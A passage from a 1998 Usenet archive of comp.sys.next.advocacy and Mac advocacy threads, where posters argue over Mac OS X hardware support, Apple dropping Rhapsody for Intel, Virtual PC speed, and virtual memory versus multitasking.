Pulsar <tokarek@uiuc.edu> wrote:
> Ken Bereskin (Director of OS Technology at Apple)
That should be 'Director of OS Technology Product Marketing' at Apple.
There's a difference...
--
Mike Paquette mpaque@wco.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 10 Jul 1998 15:52:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o5dbb$sfh@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A43B75.726FC058@nstar.net> <6o2ich$kmt@newsb.netnews.att.com> <joe.ragosta-0907981354130001@wil97.dol.net>
Originator: gupta@tlctest
Joe Ragosta <joe.ragosta@dol.net> wrote:
>>
>> By what means did you come by your conclusions that there must be a Creator,
>> that said Creator continuously intervenes in the universe, that
>> evolution is wrong, that carbon dating is wrong, etc. ?
>
>Actually, there's a very simple solution to that.
> [simple solution deleted]
My question was addressed to the means of knowing rather than a specific
solution. I'm quite certain that even in the set of things claiming to
be revealed truth there is not statement, e.g, that "carbon dating is
wrong". Even that conclusion requires having to gather evidence and
having to reason, only one or more of the premises is different from
that of a scientist. But the very process of gathering evidence and
reasoning was indicted as giving correct answers only by accident.
Hence the question.
-arun gupta
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 03:10:02 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R0907980310020001@news.enetis.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu> <jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>
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In article
<jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>,
jbodner@pacbell.net (Jon Bodner) wrote:
> In article <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
(snip)
> :BTW, the current rumors are that Mac OS X will run on the same systems
> :that Rhapsody will run on (in addition to any newer ones). It's just that
> :there is no "official" support for pre-Gossamer PowerMacs in Mac OS X. If
> :Rhapsody runs on your machine, Mac OS X probably will too, but if you have
> :problems, then Apple will not support you unless you own a G3 or later
> :machine.
>
> More importantly, OS X is the NT of the Mac OS. It isn't originally
> intented for the mass market; that's what Sonata's for.
I believe MacOS X is intended to replace MacOS 8.6 (Sonata) as the next
major update to the Macintosh operating system on all levels... including
the consumer level. If I recall correctly, Apple drew critisism from
crowds at the WWDC for not defining MacOSX's high end potential. Apple has
always been profitable in the high end, but has made it quite clear that
MacOSX, even with its high level interfaces, will be available to consumers
with the intention of continuing to improve profitability in the lower end
markets.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: 10 Jul 1998 16:30:27 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o5fj3$bp8$1@news.cs.tu-berlin.de>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de> <6o5akb$5op$2@news.spacelab.net>
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"Charles W. Swiger" <chuck@codefab.com> writes:
>marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
>> Corroborates a suspicion I've had for a while
>> that real multitasking is necessary for virtual memory to be
>> useful.
>While multitasking, VM, and memory protection do work together well in that
>their tradeoffs mesh smoothly, it is obviously not the case that VM is only
>useful when multitasking.
You are right, of course.
I should have been more precise in my wording. The point I was trying
to make is not that there is "no use" in VM without multitasking, but
that when you actually put stress on your VM subsystem in a single-tasking
system, the result will not be a system with acceptable usability. In
essence, you will have to get more memory anyhow if you want to work
effectively.
Contrast this with multi-users UNIX systems which may be paging constantly
at a fair clip in normal operation.
>Consider a Mac which is only running one process: Adobe's Photoshop, for
>example. VM is necessary simply because large documents can exceed the
>amount of physical memory available.
Again, correct, but Photoshop is a special case, Adobe does not use the
OSes VM subsystem as far as I can tell. In fact, isn't the default
recommendation to turn VM off for Photoshop? Also, most users will
confirm (I think) that Photoshop really, really wants to have real
RAM.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 16:39:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o5g4e$c6e$1@news.cs.tu-berlin.de>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
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Greg_Anderson@afs.com (Gregory H. Anderson) writes:
[...]
>This is presumably because the Windows release covers the needs of
>most people who want to run Intel.
Yes, that is also the message in the FAQ. The point that Apple is
absolutely missing here is that some people want/need a homogenous
software/operating environment but need to integrate Intel machines,
for various reasons, including second-source, ability to run other
OSes etc.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 12:38:56 -0400
Organization: ICGNetcom
Message-ID: <smileyy-1007981238560001@cin-oh2-08.ix.netcom.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>In article Joe Ragosta, joe.ragosta@dol.net says...
>> Please explain why 486 performance is acceptable on a real PC but not on a
>> virtual one.
>
>Because you can pick up a real 486 for a few hundred bucks. Can you pick
>up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
>on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
>just not cost effective.
But this is under the (mosy likely faulty) assumption that *all* the G3 is
doing is running VPC. You also get this neat productivity-enhancing tool
called "Mac OS 8"
Andrew McCormick
--
smileyy@ix.netcom.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 10 Jul 1998 16:47:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qchca.fcv.sal@panix3.panix.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com> <atlauren-0907981050270001@jungleland.acs.uci.edu> <joe.ragosta-1007980807590001@wil117.dol.net>
On Fri, 10 Jul 1998 08:07:59 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>> Apple's public statements of hardware support in OS X only mention G3 systems.
>> In the Macintosh world, "not supported" means "doesn't work, won't run."
>Not true.
Joe, if it isn't supported will you use it for "mission critical" Apps? Will
you risk your reputation on it? 99.99% of the IS folks I know will not install
anything in a production environment unless it is supported. A guy at home
who wants to hack might install, but the real customerbase will not.
--
sal@panix.com
Salvatore Denaro
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 10 Jul 1998 09:17:02 -0700
Organization: Primenet (602)416-7000
Message-ID: <6o5epu$h8g@nntp02.primenet.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net>
<slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca> <35A4DA46.C3E539EF@nstar.net> <rmcassid-0907981212100001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
: In article <35A4DA46.C3E539EF@nstar.net>, "Michael J. Peck"
: <mjpeck@nstar.net> wrote:
: >Remember! No matter what you do to a Honda Accord, it will never be a
: >Chevy Camaro, with 275 bhp, way-cool styling, and a sweeping LT1
: >spoiler. Then again, your target market may not give a shit.
: Chevy Camaro? Way-cool styling?
: That's an offense to the word 'style'.
I think the theory is that with 300+ huppa's (in '98) you don't
need so much styling.
BTW, I think the '97s Camaros looked better than the '98s with
their funny nose.
John
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 17:09:01 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5hrd$jd4$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5a2n$5op$1@news.spacelab.net> <6o5am3$4v3@nrtphc11.bnr.ca> <6o5dbb$sfh@newsb.netnews.att.com>
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In article <6o5a2n$5op$1@news.spacelab.net> Charles W. Swiger,
chuck@codefab.com writes:
>That's changing the question from "has any government created something
>worthwhile?" to "is the US government highway system efficient?"
>
>I very strongly doubt the current interstate system would have been created
>by a private organization, and I'd imagine that the highways would have been
>designed for a lower maximum load.
>
>As it was, the highway system was designed so that the military could move
>60-ton tanks around at (relatively) high speed. One unforeseen consequence
>is that the movement of goods via tractor-trailer trucking has become a
>cost-effective alternative to railroad because the highways, bridges, height
>clearances, and so forth associated with the interstate make that practical.
>
Note that private highways do exist, and they are less congested, better
maintained, and in other ways superior to government roads.
Matthew Cromer
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 10 Jul 1998 16:24:16 GMT
Organization: Mechanist Industries
Message-ID: <6o5f7g$mhl4@eccws1.dearborn.ford.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <massello-0907980014520001@ip209.elp.primenet.com>
Neill Massello (massello@primenet.com) wrote:
: In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
: macghod@concentric.net (Steve Sullivan) wrote:
: > Macintosh OS X, due out third quarter of 1999, was announced today to not
: > be Year 2000 compliant.
: >
: > From macosrumors.com. This is a joke right?
: No, it's true; but Mac OS X will be year MM compliant.
Hmm. I suppose that they've already addressed the year-MMI problem
of adding an extra letter. I mean, it's due to ship in MIM (or
possibly MCMXCIX, depending on how you want to write it), so this
should be OK.
Will they also be updating the Finder to reflect the "X" designation?
I can just imagine Get Info windows reporting that a file uses "MMMDCXXVI
kb on disk". I hope they don't update the PPP controls like this,
though; I really don't want to have to convert my ISP's phone number
to Roman numerals.
I can't wait to tell everyone about my G-III PowerMac, which runs at
CCLXVI MHz.
(And what ARE the Roman numerals past M anyway? I don't want to
have to chain together all those "M"s to describe what I now call
"4GB").
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"Let your workings remain a mystery. Just show people the results"
-Lao Tsu
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: 10 Jul 1998 17:15:15 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5i73$khq$2@camel0.mindspring.com>
References: <6o3vu2$m80$1@news.xmission.com>
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In article
<Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk> Fergus
Doherty, Fergus.Doherty@nottingham.ac.uk writes:
>
>I dunno if Apple decided to pull out of supporting Intel hardware because
>of the MS deal but reading reports from MacWorld in NY it seems that part
>of the deal was Apple plugging Internet Explorer ad nauseum. Apple
>employes chant "Internet Explorer is my browser of choice..." to general
>hilarity amongst the attendees. 150 million bucks may seem to much for
>cheesy support of IE like this, but who knows... MS wants to take over the
>Internet and sees IE as part of the strategy.
I'll tell you IE 4.01 is now my browser of choice also--now that
microsoft has released a version that doesn't do a type-3 crash every
five minutes--because Microsoft Java works and the browser is much
snappier than NN.
As soon as NN addresses these issues, I will migrate back.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 17:13:08 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5i34$khq$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5a2n$5op$1@news.spacelab.net> <6o5am3$4v3@nrtphc11.bnr.ca> <6o5dbb$sfh@newsb.netnews.att.com>
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In article <6o5a2n$5op$1@news.spacelab.net> Charles W. Swiger,
chuck@codefab.com writes:
>I agree that you should be able to make your own health decisions, so long as
>you take responsibility and deal with the consequences yourself.
>
>Again, you're switching the question from "is the FDA's methodical process of
>testing food and drugs before a third party can give them to the public a
>useful service?"
You assume the FDA's process is using the right methods.
to "is the FDA process of approving potentially life-saving
>new drugs too slow?"
Of course it is too slow, it is a government agency. Not to mention, the
best way to speed your approval is to hire former FDA commissioners to
plead your case.
The net effect is to make drugs much more expensive, kill off most drugs
because the process is so expensive, make people die waiting on approval,
etc.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 17:18:47 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5idn$jkb$1@camel0.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com> <stone-ya02408000R0907980310020001@news.enetis.net>
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In article <joe.ragosta-1007981039190001@wil62.dol.net> Joe Ragosta,
joe.ragosta@dol.net writes:
>Please explain why 486 performance is acceptable on a real PC but not on a
>virtual one.
I think in most respects, VPC and SW on a new G3 run more at Pentium
90-166 speeds than 486 speeds.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 17:22:47 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5il7$hu5$1@camel0.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com> <stone-ya02408000R0907980310020001@news.enetis.net>
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When Virtual PC came out I thought, Oh, Cool, now I can run all those
great windows programs on my mac.
For a while I ran a stock program (Personal Stock Monitor) on VPC but now
I have a java client to do that work.
I just don't feel much like running Windows on my G3, even though it is
definitely fast enough, I just never feel like doing anything on Windows.
Matthew Cromer
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 12:34:46 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980710123402.10293D-100000@ux5.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>
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On Fri, 10 Jul 1998, Mike Paquette wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Ken Bereskin (Director of OS Technology at Apple)
>
> That should be 'Director of OS Technology Product Marketing' at Apple.
> There's a difference...
Mmph... noted. :)
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 17:34:33 GMT
Organization: MiscKit Development
Message-ID: <6o5jba$6q$1@news.xmission.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de>
NNTP-Posting-Date: 10 Jul 1998 17:34:33 GMT
marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
> Greg_Anderson@afs.com (Gregory H. Anderson) writes:
>
> [...]
> >This is presumably because the Windows release covers the needs of
> >most people who want to run Intel.
>
> Yes, that is also the message in the FAQ. The point that Apple is
> absolutely missing here is that some people want/need a homogenous
> software/operating environment but need to integrate Intel machines,
> for various reasons, including second-source, ability to run other
> OSes etc.
That's what I hate about this whole thing.
Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
"solution" as far as I'm concerned. I want the full OS, on Intel. Period.
That's what I call a "solution".
Hopefully there are enough people out there who agree that the full OS is
important and are willing to let Apple know that they think so. They're
collecting at http://www.of.org/rhaptel/ -- let's hope that a difference can
be made. There are many, many reasons why Apple needs to keep the full OS
alive on Intel, and it isn't just my selfish desire for a decent OS on Intel.
That may motivate _me_ to complain, but there are much better reasons for
Apple to keep the OS. (cf. what's been discussed in the mailing list archive
at the URL above.)
Based on the people I've talked to at many of the larger installations,
Apple's move here has effectively burned the bridges. These places are, to a
large degree, not just moving away from the OS now (because it has been
effectively orphaned [Osbourned]) but they're moving away from YB, too. If
you consider the reasons that Apple has given for the Intel OS being dropped,
you quickly realize that most of them apply in spades to YB/Win, so the
corps. are, at this point, convinced that YB's days are numbered on any Intel
OS...and the current carbon-carbon-carbon message from Apple makes them even
more nervous.
Even if many of us believe that YB is still important to Apple, Apple
apparently hasn't done a good enough job convincing their YB customers that
this is so. Many are getting out of there as fast as they can because they
_think_ that they'll be left in a lurch! Whether or not YB/Win is _really_
doomed is irrelevant. Apple pulling back on the OS--and the reasons given
for it--have convinced the enterprises that YB on Intel in any form is
doomed. Again, that perception is what matters. The realities behind the
situation are second fiddle to how it is perceived and Apple has really
screwed the pooch on this one.
Worse, it is not just that they're focusing so tightly on one market that
another one languishes. They're actively burning the bridges to the
enterprise--they'll never be able to go back there after this, and it WILL
hurt them in the long run. (Dropping the Intel OS is only part of burning
the bridges. They've more or less sent the "you're not worthy to be our
customer" message of arrogance to the enterprise with some of the other
recent decisions and announcements. It hasn't been well recieved, let me
tell you.) Apple is going to be losing mindshare and it will hurt them.
Apple is effectively handing what is right now the largest, highest margin
market (enterprise) to Microsoft on a silver platter and setting it up so
that they (Apple) will never, ever be able to succeed there.
*Way to go, guys.*
*Simply brilliant.*
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 12:41:32 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980710123501.10293E-100000@ux5.cso.uiuc.edu>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
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In-Reply-To: <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
On Fri, 10 Jul 1998, Jason McNorton wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > In article <MPG.100fd98176c5ec1798975e@news.itg.ti.com>, jmcn@msg.ti.com
> > (Jason McNorton) wrote:
> >
> > > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > > I've never figured out how 486 performance on a "real" PC is OK, while 486
> > > > performance on a "virtual" PC isn't.
> > >
> > > Because you are getting a horrible cost vs performance ratio with the
> > > Mac + emulation.
> >
> > Nice try.
> >
> > The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
> > useful". No cost issue--just too slow.
> >
> > Please explain why 486 performance is acceptable on a real PC but not on a
> > virtual one.
>
> Because you can pick up a real 486 for a few hundred bucks. Can you pick
> up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
> on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
> just not cost effective.
Your argument is fundamentally flawed.
The purpose of the emulation software is not to gut all of the Macintosh
features and turn the machine into a PC. It is a supplement to the
Macintosh environment. People do not buy a Mac and put VPC on it because
they only need a Windows PC. They do so because they want a Macintosh
environment and need some specific software titles from the PC side.
VPC does not _replace_ the Macintosh environment. If it did and _all_ you
were getting was an expensive slow Windows PC, then you'd have a point.
The Macintosh-ness of the machine does not go away when you install VPC
(or other emulation software). It adds to the already present
functionality of the Mac.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Fri, 10 Jul 1998 14:20:27 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Message-ID: <christian.bau-1007981420270001@christian-mac.isltd.insignia.com>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6o50qd$30$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>
> >says that "This year ISSCC has a paper describing the
> >first microprocessor implementing a mainstream architecture
> >(the PowerPC) with coarse-grain multithreading. Coarse
> >grain multithreading hides the delays caused by data fetches
> >from memory by switching between 2 or more program threads."
>
> Very interesting. Corroborates a suspicion I've had for a while
> that real multitasking is necessary for virtual memory to be
> useful. After all, even a fairly low page-fault rate will
> slow a single process virtually to a halt, so system performance
> can only be maintained if there are other useful processes
> to switch to.
>
> On the other hand, if there usually is a useful process to switch
> to, virtual memory overhead can be almost completely hidden as long
> as the pages can be made available by the time the process is
> scheduled to run again.
What you write is the same thing, but on a different level (on the
millisecond level rather than on a per-cycle level). There is a bit of
description what IBM is doing in this chip:
Basically you have a chip that can run two instruction streams
simultaneously, but not by having two complete processors, only by
scheduling instructions from two streams to the normal set of execution
units.
If one instruction stream is scheduled optimally, it can fill the
execution units completely and the other thread cant do any work. But
usually, you cant schedule one instruction stream optimally (for example,
you load a register from memory and have to wait for the data for many
cycles), and then the other instruction stream can do some useful work.
IBM says that this way they get about 30% more performance than a single
processor with 10% additional die size.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 13:47:56 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6o5k4c$r2d$1@crib.corepower.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
> Yellow box on Winblows sucks rocks out of black holes.
You should put that into context: in comparison to Rhapsody/Intel,
or compared to native Windows apps? I think you mean the former since
you were posting about how you want the full OS.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 17:58:42 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdac2c$05e11ee0$04387880@test1>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
> Yellow box on Winblows sucks rocks out of black holes. Winblows
> is NOT a "solution" as far as I'm concerned. I want the full OS,
> on Intel. Period. That's what I call a "solution".
Two points.
First, with Carbon, Apple has demonstrated that it does listen and is
willing to change strategies as the market demands. Bill Gates once
said, "I would rather be right than consistent." I think Apple now
believes this too.
So, if you want another Intel solution other than YB on NT, keep
letting Apple know. But also, think out of the box (e.g., would YB for
BSD/Intel or YB for Linux/Intel be acceptable alternatives?)
Second, I have both Java (Java Workshop 2.0 and Java Studio) and Yellow
Box (DR1) installated on my NT, and while Java has improved since I
last tried working on it, Yellow Box still blows it away on NT - both
as a development environment as well as for performance of the
application.
So while Yellow Box on Winblows sucks, remember it "sucks less" than
the alternatives. :-)
Todd
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: 10 Jul 1998 18:01:42 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5ku6$70j$1@news.spacelab.net>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de> <6o5akb$5op$2@news.spacelab.net> <6o5fj3$bp8$1@news.cs.tu-berlin.de>
marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
>"Charles W. Swiger" <chuck@codefab.com> writes:
[ ... ]
>>While multitasking, VM, and memory protection do work together well in that
>>their tradeoffs mesh smoothly, it is obviously not the case that VM is only
>>useful when multitasking.
>
>You are right, of course.
As MJP would say, it happens by accident occaisionally. :-)
>I should have been more precise in my wording. The point I was trying
>to make is not that there is "no use" in VM without multitasking, but
>that when you actually put stress on your VM subsystem in a single-tasking
>system, the result will not be a system with acceptable usability. In
>essence, you will have to get more memory anyhow if you want to work
>effectively.
I think you're making the connection the wrong way.
Yes, multitasking means that you can use system resources more effectively by
switching CPU to another task while you're blocked waiting for the VM
subsystem to page in.
But it does not mean that "the result will not be a system with acceptable
usability" if your OS lacks VM. Again, Photoshop on a single-tasking Mac may
or may not be acceptibly usable. This depends primarily on the size of
physical memory versus the size of the desirable working set for the task;
whether you have MT is not relevant.
>Contrast this with multi-users UNIX systems which may be paging constantly
>at a fair clip in normal operation.
Unix with it's PMT, global page fault frequency VM system, and so forth is
tuned to maximize resource utilization and throughput at the occasional
expense of realtime and interactive responsiveness. Unix also exhibits
superior blocking, which is a serious weakness of most other operating
systems.
>>Consider a Mac which is only running one process: Adobe's Photoshop, for
>>example. VM is necessary simply because large documents can exceed the
>>amount of physical memory available.
>
>Again, correct, but Photoshop is a special case, Adobe does not use the
>OSes VM subsystem as far as I can tell.
Depends on which OS the Photoshop version was for; what you say is certainly
true of the Mac version, since Adobe needed to implement their own VM because
the MacOS at that time did not have one.
> In fact, isn't the default recommendation to turn VM off for Photoshop?
Certainly-- because otherwise, the two paging algorithms will fight with each
other, which is known as "thrashing". If the MacOS VM worked better,
Photoshop conceivably might perform better by _not_ using it's internal
pager.
Better still, future versions might use Mach user-level pagers, which
cooperate with the system to deal with memory about as well as possible.
> Also, most users will confirm (I think) that Photoshop really, really
> wants to have real RAM.
That's just the consequence of Photoshop demanding large working sets, and
the more physical memory available, the less paging I/O.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: xerxes@diku.edu.dk (Per Erik Ronne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 20:12:19 +0100
Organization: DIKU
Message-ID: <1dbyvxo.1q1hq1w1cq8mp9N@ip169.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Robert Cassidy <rmcassid@uci.edu> wrote:
> Think of Mac OS X supporting G3 hardware in much the same way that
> Microsoft might announce support for their OSen.
Does this mean that you think it might run on a 6100, possibly with a G3
upgrade card?
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sat, 11 Jul 1998 04:13:59 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net>
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On 7 Jul 1998, Leon von Stauber wrote:
